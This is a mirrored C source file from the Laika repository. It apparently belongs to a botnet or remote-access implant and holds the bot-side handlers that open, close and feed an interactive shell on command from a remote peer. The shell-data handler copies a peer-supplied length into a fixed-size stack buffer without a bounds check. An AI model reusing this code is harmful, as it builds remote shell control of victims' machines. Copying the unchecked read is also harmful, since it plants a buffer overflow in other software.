mirror of
https://github.com/CPunch/Laika.git
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CPunch
4833dea67f
- Shells 'work' but line endings aren't converted yet so pressing enter doesn't work lol
52 lines
1.6 KiB
C
52 lines
1.6 KiB
C
#include <stdlib.h>
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#include <string.h>
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#include <stdio.h>
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#include "lerror.h"
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#include "lmem.h"
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#include "bot.h"
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#include "shell.h"
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/* ============================================[[ Packet Handlers ]]============================================= */
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void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
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struct sLaika_bot *bot = (struct sLaika_bot*)uData;
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uint16_t cols, rows;
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/* check if shell is already open */
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if (bot->shell)
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LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested on already open shell!\n");
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laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t));
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laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t));
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/* open shell */
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bot->shell = laikaB_newShell(bot, cols, rows);
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}
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void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
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struct sLaika_bot *bot = (struct sLaika_bot*)uData;
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/* check if shell is not running */
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if (bot->shell == NULL)
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LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested on unopened shell!\n");
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/* close shell */
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laikaB_freeShell(bot, bot->shell);
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}
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void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
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char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
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struct sLaika_bot *bot = (struct sLaika_bot*)uData;
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struct sLaika_shell *shell = bot->shell;
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/* sanity check shell */
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if (bot->shell == NULL)
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LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
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/* read data buf */
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laikaS_read(&peer->sock, buf, sz);
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/* write to shell */
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laikaB_writeShell(bot, shell, buf, sz);
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} |